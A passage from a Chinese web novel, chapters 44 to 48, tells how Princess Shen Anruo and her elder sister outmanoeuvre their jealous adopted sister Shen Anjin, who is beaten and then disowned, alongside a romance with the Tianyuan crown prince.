“母亲说的是,儿子会提醒她的。” “既然是岳母大人生病了,儿子身为女婿也应该前往探望才是,刚好去了看看状况如何,若是病情已经稳定好转,儿子就把锦儿接回来。” 沈家。 天元太子亲临,沈家上下都出来迎接,唯有柳依依称病没有出来。 沈一山带着府中众人。 “参见太子殿下。” 商玄澈走到沈安若身边,抬手扶着她的手臂。 “凰仪公主无需多礼,往后在沈家还望公主多多照顾。” 听着他将照顾两个字咬重了,沈安若不知道为什么,总感觉他意有所指。 “太子殿下身份尊贵,能够来沈家小住,是本宫的荣幸。” “府中已经备好了膳食茶点,太子殿下有请。” 话落不动声色的抽出自己的手臂,做出来了一个请的姿势。 柳院。 沈安锦气得在砸东西。 “啊…………凭什么,凭什么啊,凭什么我被沈安若害成这个样子,她沈安若风光得意。” 柳依依听见动静急忙过来安抚。 “锦儿,锦儿你这是怎么了?” 沈安锦上前抓住了柳依依的手臂。 “母亲,母亲,我不甘心啊。” “凭什么啊?我都被沈安若害的………她沈安若凭什么一跃成为公主,有了那么好的婚事。” 柳依依无奈的安抚。 “锦儿 ,你先冷静一下,虽然她现在的未婚夫是太子殿下,可是她要远嫁的,越是高门贵族越是不简单,她到了天元以后会过上什么样的生活还未可知。” 一边说一边拉着沈安锦坐下。 “你看,这自古以来在婆家就不好处,她不过是一个小国的公主,还不是正儿八经的公主,去了天元以后肯定要被看不起的,天元太子身份尊贵,只怕后院已经有不少侧妃侍妾的,她去了肯定被联手对付。” 沈安锦听得脑子里一灵光。 “对,天元太子身份尊贵。” 随即拉着柳依依的手。 “母亲,你说这天元太子要是知道了她进过侯府,还跟别的男人拜过天地,还会娶她吗?” 柳依依听得微微皱眉。 “锦儿,沈安若的婚事涉及和亲,这是两国交好的事情……………” 沈安锦一听,一下子站起来,眼里疯魔的模样。 “我不管,什么和亲什么两国交好,这跟我又没关系,得到好处的是她沈安若,又不是我,凭什么我要受憋屈?” 看着沈安锦这歇斯底里的模样,柳依依一阵心疼,也是,和亲也好还是两国交好也罢,跟锦儿有什么关系,急忙抱着她安抚。 “好了锦儿,别气,你要真想着就做吧,母亲会尽量帮你。” 沈安锦这才慢慢的冷静了下来,沉思了片刻。 “母亲,还有一件事,为了永除后患,在青楼的那个人必须死。” 柳依依闻言,脸色微变,但随即点了点头,眼中闪过一丝狠厉。 “这个人的确不能再活着。” “只是锦儿,这个人只怕是有点难找。” 沈安锦沉思片刻,脑子里面回想着男子的模样。 “他不高,有点微胖,嘴角有一颗痣,然后身上带着隐隐的血腥味,这里是南都,不可能有劫匪什么的,所以我怀疑他是一个屠夫,母亲你派人按照这些特征找,找到以后直接除掉。” 墨香居旁边的清风苑,沈安若与商玄澈并肩而行。 “这是刚打扫出来的,希望殿下可以住的舒适。” 商玄澈打量着院子里的布置,谈不上奢华,但是也够雅致。 “不知凰仪住在哪里?” 现在都不带公主两个字了?沈安若抿了一下唇。 “住在隔壁的墨香居。” 商玄澈看了院子一眼。 “本宫对住的地方并不挑剔,凰仪你安排的就是最好的,苍术,将行礼归置好。” 随即看向沈安若。 “不知能不能去凰仪的院子看看,本宫有些好奇我未婚妻住的地方是什么样?” 沈安若微微点头。 “太子殿下请。” 商玄澈一边走一边开口。 “凰仪现在居然如此的客气。” “倒是不如那晚那般的热情。” 提到那晚的事情,沈安若忍不住感觉有些尴尬,谁能想到啊,自己以为的鸭子会是天元太子,想起自己将银票塞给他的样子,沈安若只感觉脸掉地上了。 “本宫也没有想到太子殿下回去那样的地方。” 商玄澈闻言忽然停下脚步,看着沈安若。 “初来南诏,对这里的一切都不了解,那地方人多混杂,是一个了解消息不错的地方,本宫只是…………” 这个世界男尊女卑,男子三妻四妾养外室还玩的花,难不成自己还要相信他去青楼就是去单纯喝酒?沈安若笑了笑开口。 “太子殿下不必解释,我懂。” 可我看你不懂得样子,商玄澈只感觉有一些无奈。 “本宫当真是…………” 站在墨香居门外的沈安锦见二人并排着走来,郎才女貌,心里嫉妒的发狂,指甲都掐进了手心,咬了咬牙,才上前挤出一抹笑意。 “见过太子殿下,见过凰仪公主!” 沈安锦居然出来招摇过市了,没有羞愧到不敢见人也是有定力了,沈安若看着她开口。 “侯夫人不在侯府与世子浓情蜜意,来本宫这墨香居做什么?” 为什么不能回侯府?还不是拜你这个贱人所赐,沈安锦挤出一抹笑意。 “母亲生病了,我特意回来侍疾,刚刚陪母亲喝了药,想着来恭喜公主一番。” 沈安若闻言诧异的开口。 “恭喜本宫?” 沈安锦眼里闪过一抹得意,沈安若你马上就要倒霉了。 “是啊,当初姐姐进了侯府,与世子拜了天地,我还在担心从侯府出来以后,姐姐这辈子很难找到亲事了,没想到皇上疼爱姐姐,居然让姐姐当了公主。” 目光看向了商玄澈。 “还是嫁给太子这样尊贵的人,身为公主的姐姐,我真的是为公主感到高兴。” 居然敢把这件是在天元太子的面前捅出来,这沈安锦当真是活的不耐烦了,沈安若上前一步,抬手一巴掌打在她的脸上。 “来人,侯府世子夫人得了失心疯,冲撞了了太子殿下,拉下去打二十板子,关进柴房。” 第四十四章 脸给你打肿 沈安锦被打得脸颊瞬间红肿,整个人呆愣在原地,似乎不敢相信沈安若竟敢在太子的面前对她动手,女子不都是想要在夫君的面前表现的贤良淑德吗? 随即捂着自己的脸,眼里含着泪花,满是委屈。 “太子殿下,我不过就是想恭喜公主殿下得了太子殿下你这样好的夫君,公主她怎么………怎么就打我了?” 沈安若真的是一下子就整笑了,发烧发到了天元太子的面前,丢脸都丢到了天元了,抬手直接打了她另外一边脸,这下终于匀称了。 “恬不知耻的东西。” “怎么?你夫君现在跟太监没区别了,你又要来勾引太子了吗?” 沈安若说话也太难听了,加上一连挨了两个耳光,沈安锦是真的委屈得哭了。 “我没有…………” 沈安若眼里一愣,嘴角却带着冷笑。 “还不将这个疯妇带下去行刑。” 周围的仆人见状,不敢怠慢,连忙上前就要将沈安锦架走。 “沈安若,你敢!”沈安锦终于回过神来,尖叫着挣扎,“我可是侯府世子夫人,你凭什么关我?” 沈安若冷笑一声。 “凭什么,就凭本宫是凰仪公主。” “是沈家嫡女,你不过就是沈家收养的女儿,一次次在外丢进沈家颜面,本宫这是在教你规矩。” 眼看自己就要被拖走,沈安锦大声的喊着。 “沈安若,你以为你又是什么好东西?” “太子殿下,你不要被她骗了,她自小与忠勇侯府的世子定亲,前段时间就进了忠勇侯府,与我的夫君拜过了天,后来因为和亲的事情,她为了高攀上太子殿下,这才让我顶替她进侯府,而她这个残花败柳成为了南诏公主…………” 她就是不止自己想死,还想让整个沈家都陪着她死,沈安若厉声呵斥。 “还不将她的嘴堵上。” 原本在墨香居里的王司记也出来了。 疾步走过去,拿出手帕堵住了沈安锦的嘴,抬手直接就赏了她两个耳光,沈安锦的脸迅速肿了起来,可见王司记真的是用了力气。 “沈家将你养育长大,念及你无父无母对你百般疼爱,就连原本属于公主的婚事,因为你恬不知耻爬了世子的床也让给了你,如今见公主殿下与太子郎才女貌,你又嫉妒上?” “本司记总算是明白了什么叫做白眼狼?吃沈家的住沈家的,还要抢嫡小姐的婚事,抢了世子这门婚事了还不满意,现在还想设法抢太子殿下吗?” 沈安若看了一眼王司记,果然还得是王司记反应快,与侯府的婚事人尽皆知,这样的解释比较合理一些。 “让太子殿下见笑了,家父多年前收养沈安锦,自她进府以后吃穿用度都是最好的,因为担心她心思敏感,她在府中地位都越过了本宫的长姐,没想到因为家父和柳姨娘的宠溺,让她什么都要跟本宫和长姐挣,小时候是衣服首饰吃食,现在长大了心更野了,挣上了婚事。” 沈安锦还在拼命的挣扎。 “呜呜呜…………呜呜呜…………” 忽然一道声音响起。 “住手。” 只见傅承越疾步而来。 急忙推开了押着沈安锦的小厮。 “滚开…………” 傅承越将沈安锦护在怀里。 “公主殿下,臣知道你如今身份尊贵,可你也不能仗势欺人,锦儿与你到底是自小长大的姐妹,就算如今你嫌弃沈家,你也不应该……………” 王司记厉声开口。 “傅世子慎言。” 沈安锦伸手拉着傅承的衣袖,满脸的泪痕。 “承越哥哥…………” 看着她肿起来的脸,哪里有办分梨花带雨的模?傅承越皱了皱眉,最终朝沈安若拱手。 “公主殿下,锦儿不论怎么说,也是微臣的世子夫人,不知她犯了什么错,让公主对她如此打骂?” 沈安若看着傅承越。 “既然她是你的世子夫人,你就应该管好她,不要一张嘴就什么疯话都敢说!” “当心她的风言风语不止害了她自己,还害了你们侯府。” 这么大的动静,自然也惊动了沈一山。 “这是在闹什么?” 沈一山走过来看着这状况,一看沈安锦脸上的伤,忍不住皱眉,碍于身份,朝沈安若与商玄澈拱手。 “见过太子殿下,见过公主。” 沈安锦一脸的委屈。 “父亲…………” “我只是来恭喜公主殿下和太子殿下成就金玉良缘,没想到公主对我偏见这么大,觉得我勾引太子殿下,就要让人打死我!” 沈安若忍不住冷笑,没完没了了是吧?除了告状还会什么?不能有点新鲜的东西? 商玄澈皱了皱眉,看了看沈安若。 难怪她的性子这么泼辣,有这么一个绿茶的养姐,她要是不性子泼辣一点,在沈家,还不知道要受多少委屈呢。 沈一山看了一眼沈安锦,眼里闪过一抹心疼,朝沈安若拱手。 “公主殿下,自古以来女子都以柔顺为德,宽容之心待人,自家姐妹之间有一点小矛盾摩擦都是正常的,公主如今身份尊贵,这锦儿冒犯了你,打也打了骂也骂了,就不用再罚了吧?” 这还在当着自己的面呢,沈一山就不分青红皂白的冤枉她,自己看不见的地方,还不知道她受了多少委屈,商玄澈冷冷的看了一眼沈一山。 “沈大人是吧?本宫的太子妃行事轮得到你来来置评吗?” 沈安昕也赶了过来,站在沈安若的身边。 冷冷的看着沈一山等人。 沈安若看着沈一山,又看了看傅承越,慢悠悠的开口。 “沈大人!” “世子。” “二位这么着急的指责本宫?都不问一问沈安锦说了什么吗?” 目光凌厉的看着沈安锦。 “敢不敢将你刚刚的疯话再说一遍?” 沈安锦见所有人的目光都在自己的身上,忍不住有了几分的心虚,朝傅承越的身后躲了躲。 “我说的都是实话,你本来就…………” 可是后面的话不敢再说出来,父亲这些年,虽然对自己疼爱有加,但是很在意自己的官途,若是自己做的事真的影响了父亲的仕途,只怕父亲要生气的。 沈安若冷笑着看着她。 “怎么?” “不敢说吗?” “那本宫替你说。” 随即目光在沈一山和傅承越身上流转。 “沈安锦刚刚说,本宫嫁进了侯府,与世子拜了天地的,还骂本宫是残花败柳!” “沈大人,世子,既然你们在,那就说说这件事吧,你们沈家傅家这是要污蔑公主清白,还是要毁了两国联姻啊?” “沈大人和世子也不用担心本宫冤枉了她,毕竟她刚刚的疯言疯语太子殿下和这一众的小厮丫鬟都听见了。” 不论是污蔑公主清白,还是毁了两国联姻,这都是沈家与傅家担待不起的罪名,沈一山听得头大,看了一眼沈安锦,安锦当真说出了如此无脑的话? “安锦,你………” 看着沈安锦心虚的模样,沈一山还有什么不明白的,这个蠢货,这是要害死沈家啊,耽误了两国联姻,十个沈家都不够陪葬的。 抬手一巴掌打在沈安锦的脸上。 “你这个蠢货,平日里嫉妒公主事事要跟公主攀比就算了,在太子殿下的面前也敢如此疯言疯语。” 第四十五章 病娇 沈安锦被这突如其来的一巴掌打得踉跄几步,摔倒在地,脸上新旧伤痕交错,显得格外凄惨。 她不可置信地望着沈一山,眼中满是震惊与绝望。 傅承越见状,无奈的上前搀扶她起来。 脸色却也沉了下来,这件事本来就是丑事,她怎么能够说出来。 今日之事若处理不当,不仅关乎沈家的荣辱,更可能影响到两国的邦交,沈一山急忙稳住心态朝天元太子拱手。 “殿下,小女沈安若当年的确是定亲过傅家,因为我的疏忽,养出来了一个不知廉耻的养女,因为她养女的身份,婚事只能比安若差上一些,她心有不甘,这才大婚之夜顶替了若儿进了傅家。” “这说起来也都是家丑,太子殿下请放心,若儿与傅世子之间清清白白,南诏一心与天元结盟,对于和亲之事绝对上心,就是给在下一百个胆子,也不敢欺瞒殿下。” 商玄澈面色沉凝,目光看着沈一山。 “沈大人,天元此次很重视与南诏的和亲,本宫这才亲自来南诏接公主。” 目光冷冷的看了一眼沈安锦。 “污蔑公主清白,扰乱和亲,毁坏两国交好,这种人若是在天元,本宫已经下令拉下去凌迟处死了,沈大人身为南诏的重臣,自家还是需要严谨一些,不然给南诏招来了祸事,那可就是千古罪人了。” 沈一山额头已渗出细密汗珠,连忙点头。 “是,殿下放心,此事在下一定会处置妥当。” 商玄澈打量了一眼傅承越,这就是她从前定亲的人吗?长的一般还是一个眼睛瞎的。 随即拿起沈安若的手,踏进墨香居。 傅承越看着二人的背影,眼里有了一抹沉思,就差一点,那日就差一点,她就是自己的人了。 玉儿正准备进去墨香居,却发现院门忽然一下子关上了,外面的几人神情诧异。 门内。 商玄澈抓住沈安若的一只手腕,压在了门上,整个人离沈安若都十分的近。 “看来凰仪公主以前的故事不少啊?” 沈安若抬头笑着看向他。 “所以殿下这是吃醋?” 商玄澈看着她的眼睛,眼里带着一抹占有欲。 “凰仪公主,你是和亲公主,也是天元的太子妃。” 果然,古代的男人这自尊心和占有欲都不是一般的强啊。 沈安若抬手轻轻抚摸着他的脸颊。 “也是太子殿下的妻子对吧?” 指尖挑动一下,食指划过他的耳朵。 “殿下可是天元太子,怎么就这么一点定力?别人三言两语的挑拨离间,都能让你跟本宫置气上了?” 眉眼一挑,眼神带着拉丝。 “再说了,本宫是不是清白的殿下不是已经知道了吗?” 那晚她的确是第一次,可是还是感觉心里有一些生气怎么办? 她与傅承越自小定亲,青梅竹马,而自己与她不过刚认识半月不到。 看着她殷红的嘴唇,这张小嘴总是能够语出惊人,低头就吻了上去。 她对自己说的这些话!曾经有没有对那个姓傅的说过? 沈安若被商玄澈突如其来的吻弄得有些猝不及防,随即抬手搭上了他的肩膀。 或许是因为心里有气,商玄澈的吻有些热烈,带着不容置疑的占有欲,仿佛要将她所有的过往都吞噬殆尽。 怎么有一种病娇的感觉?不过这张脸病娇也不是不行,沈安若微微张嘴回应着他的吻。 得到了她的回应,商玄澈直略城池,攻城掠地,唇齿相依…………… 门外的人面面相觑,傅承越似乎要将门盯出来一个窟窿。 沈安昕朝沈一山福身。 “父亲,女儿有话要跟父亲说。” 沈一山看了一眼沈安锦。 朝书房走去。 王司记看着沈安锦与傅承越。 “都愣着做什么?” “不记得刚刚公主殿下说过什么了吗?” “将这个冲撞太子殿下的疯妇立即执行打二十板子,然后关入柴房。” 还是要被打吗?沈安锦紧紧的抓住傅承越的衣服。 “承越哥哥…………” 这是自己的世子夫人,就这么在沈家被打板子关押起来,自己的脸面又放在哪里?傅承越看向王司记。 “王司记………” 还不等他把话说完,王司记已经开口打断他的话。 “傅世子不会要阻拦行刑吧?” “是要违抗皇家公主的命令还是想以下犯上?” 傅承越闻言无奈的开口。 “在下不敢。” 很快沈安锦就被押在长凳上,小厮一半子又一板子的打在她的身上,墨香居的门外响起沈安锦的惨叫声。 门内,商玄澈的手已经揽住沈安若的腰,另外一只手扶着他的后脑勺,一遍一遍的亲吻着她的唇瓣。 沈家书房。 沈安昕将伺候的人都打发了出去,抬手亲自煮茶。 “父亲,外人都说女儿有一手好茶艺,可是父亲去极少喝过女儿的茶。” 抬手将煮好的茶倒了一杯,放在沈一山的面前。 “这些年以来,女儿一直想不明白一个问题,当初父亲捡沈安锦回来的时候,说是为了给我和若儿捡一个伴,可是他一个养女的待遇却超过了我和若儿这两个嫡女。” “再后来柳姨娘进门以后,更是对沈安锦宠爱有加,对外塑造了慈母的形象,这沈安锦当真是父亲你捡回来的吗?” 沈一山听得不免有一些心虚,自己这个长女虽然身子娇弱,但是心思十分分的敏锐,在她面前总感觉像是看到了当年的公主。 “自然是捡回来的,我当年在夏朝的路上遇到了她,她在与一个乞丐抢包子,被欺负得哇哇大哭,为父于心不忍,这才将她带了回来,没想到她如今唉…………到底是为父没有把她教好。” 说的还真是虚伪,沈安昕抬头看了沈一山一眼。 “父亲可真是一位好父亲,也难怪外面的人都称父亲为慈父。” “可是这份慈爱却用在了一个养女的身上,倒是让女儿百思不得其解。” 这是在责怪自己偏心,沈一山眼里闪过一抹不悦。 “安昕今日到底想说什么?” 沈安昕端起茶杯轻抿一口茶,缓缓开口。 “这些年以来,我有观察过,柳姨娘对待沈安锦与沈安宇当真是毫无差别,倒是对我和若儿……………” 说着冷笑了一声。 “呵!” “她们看起来真的就如同亲生母女一般。” “而且,真的是凑巧了不是,沈安锦与柳姨娘还长的有些相似。” 沈一山听得心里一急。 “你到底想说什么?” 沈安昕慢慢放下茶杯。 “这些年以来,外人都在歌颂父亲对母亲的情爱,也在歌颂父亲对我和若儿的疼爱,因此皇帝舅舅也对父亲高看几分。” “你说外人要是知道父亲你对母亲的情爱都是假的,对我和若儿的疼爱也是假的,你之所以这么偏袒一个养女,不是因为她是养你,而是因为她是你与柳姨娘珠胎暗结的野种,父亲你经营这么多年的名声会不会轰然崩塌?” 沈一山听得一下子站起来,一巴掌拍在桌子上。 “孽女,你在胡说八道一些什么?” 沈安昕缓缓站起来,毫无惧意的与他目光对视。 “父亲。” “对于所谓的父爱女儿,这些年早就失望够了。” “但是若儿是我的底线,最近沈安锦一次次的踩在我的底线上,还请父亲为了你的仕途,也为了整个沈家的未来,将这个不知好歹的养女赶出沈家。” 第四十六章 希望你接的住大礼 沈一山脸色铁青,颤抖的手指指向沈安昕。 “你……你竟敢如此威胁为父!”沈一山怒不可遏,但心中却不由自主地升起一股寒意。 她是怎么知道的,明明当年自己掩饰的很好。 沈安昕淡然一笑,似乎对父亲的愤怒毫不在意。 “父亲,女儿这也是为了父亲你着想,更是为了沈家着想,天元太子在南都呆的时间不会太久,很快,女儿便会陪着若儿去天元,但是沈安锦这样的蠢人若是继续留在沈家,只怕父亲你好不容易做上的尚书之位,就要不保了。” 说完朝沈一山福了福身。 “女儿言尽于此,父亲驰骋官场多年,相信会比女儿明白什么叫做取舍,女儿会等着父亲的消息,女儿告退。” 随着沈安昕离开书房,沈一山跌坐在椅子上,两个女儿没有一个是省心的,为什么一个个都要跟自己作对? 沈家的柴房里。 傅承越看着被扔在地上的沈安锦,一脸的无奈。 “锦儿,你这又是何必呢?” “不是跟你说了,以后不要再招惹她了吗?” 沈安锦趴在地上,挣扎着撑起身子,似乎是想要维持自己那破败不堪的尊严。 “我也不想招惹她,可是她不放过我,你知不知道她对我做了什么?” 傅承越蹲下身子,眼里带着疑惑。 “还发生了什么?” “沈安若她怎么对你了?” 沈安锦一脸的恨意。 “她…………” 可是话到了嘴边,又只能咽下去,不能说这绝对不能说,这要是被知道了,就什么都完了。 “承越哥哥,我好疼。” 傅承越无奈的叹了一口气。 “唉!” “你啊!” “你先在这里休息一会,我去找岳母给你拿一些药。” 柳院。 半靠在床上休息的柳姨娘一听说傅承越来了,就急忙躺下,丫头急忙拿了毛巾给她额头敷上。 傅承越走进来拱手。 “岳母。” 柳依依在丫鬟的搀扶下,虚弱的坐了起来。 “怎么样,你可见到锦儿了?” 傅承越闻言低头开口道。 “岳母,锦儿被公主下令打了板子,现在关进了柴房里,我来找岳母拿…………” 柳依依听的一声惊呼。 “什么?” “锦儿被打了?” 急忙一下子下了床,急匆匆的朝外走去。 “我的锦儿。” 看着柳依依一下子变得生龙活虎的模样,傅承越忍不住沉思,岳母不是病了吗? 柴房里。 沈安锦一见柳依依进来就委屈大哭。 “母亲!” 柳依依看着她身上的衣服都带着血迹,可见这板子打得有多狠了,一脸心疼的蹲下身子将她搂进怀里。 “锦儿,锦儿,你这………怎么被打得如此严重?” “来人,快请大夫来。” 可是看守的婆子却开口道。 “夫人,王司记交代过,准许夫人探望已经是公主仁慈,不许请大夫。” 柳依依听了脸色铁青,一脸的怒意,现在就连一个婆子都敢对自己大呼小叫了。 “放肆,不要忘了,本夫人才是沈家的主母,一个奴才也敢阻拦给大小姐请大夫。” 现在谁人不知沈家一切以公主为先,婆子看了一眼柳依依。 “夫人你也说了我不过就是一个奴才,这是公主的命令,还请夫人不要为难我一个奴才,夫人若是真的想要请大夫,那就去请示公主殿下。” 柳依依怒不可揭。 “滚出去。” 婆子不屑的看了一眼狼狈的母女二人,出门把柴房的门关上,也不知道在猖狂什么,一个养女,一个继室,一个劲的跟人家原配嫡女斗,脑子里是进水了吧? 柳依依一脸心疼的看着沈安锦。 “锦儿…………” 看着柳依依担忧的神情,沈安锦压低了声音开口到。 “母亲,没关系,不就是一顿板子吗?挨了就挨了!” “天元太子已经知道了以前的事情,他拉着沈安若就进了墨香居,伺候的丫鬟都没有来得及进去大门就关上了,说不一定已经在跟沈安若算账了。” “现在最重要的是,今日的事情父亲生气了,母亲你要去父亲那里帮女儿说一说话。” 柳依依听了点了点头。 “你父亲那里你不用担心,当年我们母女二人吃了那么多的苦,你父亲心里一直记着的,这些年一直都宠着你,最多也就是生气两天,还不是要来看你的。” 墨香居。 沈安若的嘴唇明显的肿了起来,身上的衣服也换了。 用过了晚膳,夜色已经来临,两人正在亭子里坐着喝茶,沈安若看了一眼站在了站在了远处的剑兰。 “太子殿下,这院子里逛了,晚膳也用了,茶也喝了,天色已不早了,殿下就回自己的院子休息吧。” 说着食指划过自己的唇瓣。 “本宫这个样子就不送殿下了。” 看着她红肿的嘴唇,商玄澈忍不住有些心虚的低头,的确…………好像有一些过分了,这才第一天来沈家呢。 见他不为所动,沈安若伸手撑住了下巴,偏头看着他,眉眼之间带着一抹笑意。 “太子殿下,你不会想在这里留宿吧?” “你今日若是真的在这里留宿,本宫只怕明日就没脸见人了。” 想到她那一句又一句雷人的话,商玄澈抬头看着她。 “你确定你有脸吗?” 很好,都敢这么说自己了,沈安若起身坐到了他身前的桌子上,抬手挑起他的下巴。 “所以太子殿下当真第一天来沈家就要留在本宫的院子里,这要是传出去………” 手指轻轻划过他的脸颊,脖子,然后停留在喉结处,轻轻的抚摸着。 “太子殿下你是男子,最多就落下一个风流的名声,可是本宫乃是女子,这个世道对女子苛刻颇多,只怕别人要骂本宫不知廉耻勾引太子,甚至是妖妃了。” 再这么待下去,真的是想将她就地正法,可她说的没错,这里是沈家,自己总不能真的在人家的家里对人家的女儿……… 商玄澈一下子站了起来。 “明日陪本宫出去逛逛,本宫要带一些礼物回天元。” 说完就急忙朝外走去,颇有几分落荒而逃的意味。 看着他的背影,沈安若脸上勾起一抹笑意,随即在椅子上坐下。 剑兰见状疾步而来。 “主子。” 沈安若身子往后靠了靠,手搭在桌子上。 “说吧。” 剑兰拱手道。 “盯着柳姨娘的暗卫发现,她们在找那日在青楼的人。” 沈安若听了眼里燃起一抹光芒。 “看来这沈安锦倒是一个手段够狠的,这是要杀人灭口啊。” 手指轻轻的敲击着桌面,沈安若沉思片刻。 “既然她们这么想杀人灭口,那就帮她们一把吧。” “当然,别真的让人死了。” “另外,让人去一趟孟家,告诉孟姐姐,就说本宫不日就要和亲天元了,这是为了两国交好,南诏的姐姐们是不是该给我办一场宴会,送送行,再送一些礼物给本宫留作纪念。” 沈安锦,本宫离开之前再送你一份大礼,希望你与傅承越能够接的住…………… 第四十七章 断亲书 沈家书房。 沈安昕在丫鬟的带领下走进来,福身行礼。 “父亲。” 沈一山抬头打量着她。 “安昕,你长大了。” 沈安昕笑了笑。 “父亲,女儿早就长大了。” 沈一山看了她片刻,缓缓开口。 “你昨日说的事情为父考虑了许久。” “锦儿最近这些日子的确失了许多的分寸,你的顾虑是对的,为了沈家的未来,锦儿这样不知分寸的人不适合当沈家的女儿。” 说完拿起桌子上写好的东西递给沈安昕。 “你是沈家的嫡出大小姐,有些事情你出面比任何人都合适,这是断亲书。” 沈安昕接过一看,上面写明了沈安锦只是人家心善收养的,近日来做事越发的疯魔,不顾沈家颜面与恩情,缘分已尽,就此桥归桥路归路。 沈安昕脸上勾起一抹嘲笑,抬头看了一眼沈一山。 “父亲不愧为官多年,这招人恨的事情当真是一件不做,不过也没关系,女儿愿意替父亲分忧。” 说完将断亲书收了放在手袖里。 福身行礼。 “女儿定会将这件事情办得妥妥帖帖的,女儿告退。” 一出书房。 沈安昕就吩咐道。 “备马车。” 柴房里。 到底柳依依还是沈家的当家主母,沈安锦虽然被关进柴房,但是地上铺了厚厚的被子,身上的衣服也换过了,后背上的伤已都擦了药。 柳依依给她送来了吃的,顺便给她换药,看了看门外,才压低声音在沈安锦耳边开口。 “锦儿,我已经去见过你父亲了,你父亲说了会想办法让沈安若放你出来,你出去以后跟着世子回侯府去,那件事情你不要再过问了,母亲会想办法给你处理干净,你以后就跟世子好好的过日子。” 沈安锦闻言眼里满是不甘心。 “母亲,那沈安…………” 柳依依急忙捂住了她的嘴。 “你小声一些!” “锦儿,她现在的身份我们根本斗不过她,而且和亲的事情也不能出半点差错,就这么算了好不好?” “你跟着世子好好的过日子…………” 沈安锦 摇了摇头。 “不好,母亲,我一定要她死的。” 柳依依闻言无奈的抱着她。 “你这孩子怎么就说不通呢?再这么闹下去咱们要吃亏的。” 沈安锦一脸的怒意。 “我就不信,她能够永远都运气这么好。” 南都的街道上。 一家抄写的铺子。 东家将手中抄好的断亲书递给沈安昕。 “贵人,你看这抄袭的可还满意?” 沈安昕接过两份断亲书做对比,脸上勾起了一抹满意的笑容。 将原版收了起来。 “劳烦先生将这份断亲书抄满两百份。” 随即拿出一锭银子放在桌子上。 “明日之前我要看到这两百份断亲书贴满南都的大街小巷。” “你也可以安排别人和你一起抄录。” 东家看着桌子上的影子眼睛都发光了。 “贵人,你放心,我认识几个朋友,字写的十分分的不错,我们一起抄录,保准今晚就能抄出来。” 沈安昕听了点了点头。 “珍儿,既然掌柜的说今晚就能够抄出来,那你就留下来,抄出来二十份就及时的将这断亲书给我贴满南都,最先给我贴到忠勇侯府附近。” 沈家柴房。 因为后背有伤,沈安锦只能侧躺,或者就只能坐起来跪着,不然触碰到伤口会疼痛不已。 知道了沈一山会想办法让她从柴房出去以后,心情也好了不少。 沈安若,我一定会跟你斗到底。 忽然,柴房的门被打开。 沈安若还以为是傅承越来陪自己了。 “承越哥哥…………” 一抬头却看见走进来的是沈安昕。 “大小姐来做什么?” “是来看我笑话的吗?” 沈安昕走进来,居高临下的看着她。 “看你笑话?” “沈安锦,你以为你是一个什么东西?” “也值得我来看你笑话?” 抬手将断亲书扔在她的面前。 “这是父亲一早亲手写下的断亲书,从此以后,你这个沈家的养女与沈家就再无干系了。” 沈安锦闻言一年的不可置信,急忙将断亲书从地上捡了起来。 “这不可能………” “父亲不会不要我的!” 可是当看到了上面的内容,特别是最后那一句,沈家与沈安锦断亲,自此各不相干。 沈安锦的双手开始颤抖,眼眶迅速泛红,泪水如同断了线的珍珠一般,一颗一颗的滚落。 “这不可能,这绝对是假的,沈安昕,你骗我!父亲不会这么对我的。” 沈安昕冷笑一声,眼神中满是轻蔑。 “沈安锦,我记得年少的时候,父亲时常教你读书写字,这是不是父亲的字迹你难道认不出来吗?” 这的确是父亲的字迹,所以父亲说的想办法让自己出柴房就是赶自己出沈家吗? 泪水顺着脸颊滑落,滴落在断亲书上,晕开了墨迹。 “不,不应该是这样的,我是父亲最疼爱的女儿,我要见父亲………” 说着顾不得身上的伤,快速的将手中的断亲书撕碎,站起来就要往外跑。 沈安昕看着这一幕,心中并无半点怜悯,反而感到一种莫名的快意。 “拦住她。” 很快门外的两个婆子就将沈安锦拉住。 沈安锦挣扎着大声喊着。 “放开,放开我,你们这些狗奴才全都变成了沈安若沈安昕的狗腿子。” 拉着她的一个婆子开口。 “奴婢是沈家的奴才,自然听从沈家主子的命令。” 沈安昕一步步走出柴房,看着沈安锦挣扎的样子。 “断亲书已经在官府备份了,你撕了也是没什么用的。” “另外,我已经通知傅承越来接你了,从此以后你就不再是沈家的女儿,只是傅家的世子夫人,希望没有娘家以后,傅家还会接受你。” 傅承越没想到沈依山居然写了断亲书,这一断亲,锦儿就没有娘家了,一个毫无身份的平民,如何当得了侯府的世子夫人?只怕父亲母亲那边又要为难了。 匆匆的赶了过来。 “大小姐,我知道断亲的事情与你有关,到底锦儿与你们一同长大,何必将人逼入绝境?” “你们若是不喜欢锦儿,往后少来往便是………” 沈安昕闻言笑着看着傅承越。 “世子,我是通知你来接你的夫人回去,不是让你来指责我的!” “若儿现在是凰仪公主,整个南诏都知道了她要和亲天元太子,昨日的沈安锦做过怎样的蠢事傅世子心里也是有数的,若是不想侯府万劫不复,世子最好管好自己的夫人。” 柳依依也接到了消息赶了过来,看着沈安昕一脸的怒意。 “大小姐这么多年来做事还真的是滴水不漏。” 沈安昕听了微微一笑。 “承蒙姨娘夸赞,安昕往后会更加的滴水不漏。” 说完就带着丫鬟离开。 沈安锦一脸无助的哭诉。 “母亲,怎么办?我该怎么办啊?父亲他不要我了。” 柳依依伸手紧紧握住她的手。 “锦儿,你别怕,你父亲只是一时在气头上,左右断亲的事情别人还不知道,你先跟着世子回去,母亲会想办法的。” 南诏的街上。 沈安若与商玄澈并肩走着。 夕阳的余晖洒在二人的身上,沈安若拿起一个面具挡住自己的脸。 “哇…………” 看着她俏皮的模样,商玄澈忍不住嘴角上扬,伸手也拿起一个面具戴在自己的脸上。 沈安若笑着拿下面具,又换了另外一个戴上。 “你看,这样才显得登对。” 沈安锦的掀起车帘子就看到了二人郎情妾意的一幕,尽管沈安若戴了面具,但是她哪怕是化成灰自己都认的…………… 第四十八章 鲜明对比 沈安锦的眼中闪过一抹恨意与嫉妒交织着,死死地盯着远处嬉戏的沈安若与商玄澈,手指甲几乎掐入了掌心,却浑然不觉疼痛。 车内的气氛沉闷而压抑,傅承越好奇的凑过去。 “锦儿,你在看什么?” 此时的沈安若因为看着商玄澈往后一步步退,差一点与人撞上,商玄澈眼疾手快的搂住她的腰。 “小心。” 沈安若抬手摘掉了他的面具。 “我觉得你还是不要带面具的,你这张脸带上面具太可惜了。” 自己算是看出来了,她就是喜欢这张脸,商玄澈凑近沈安若的脸一脸的笑意。 “那本宫是不是应该庆幸,长了一张让凰仪喜欢的脸。” 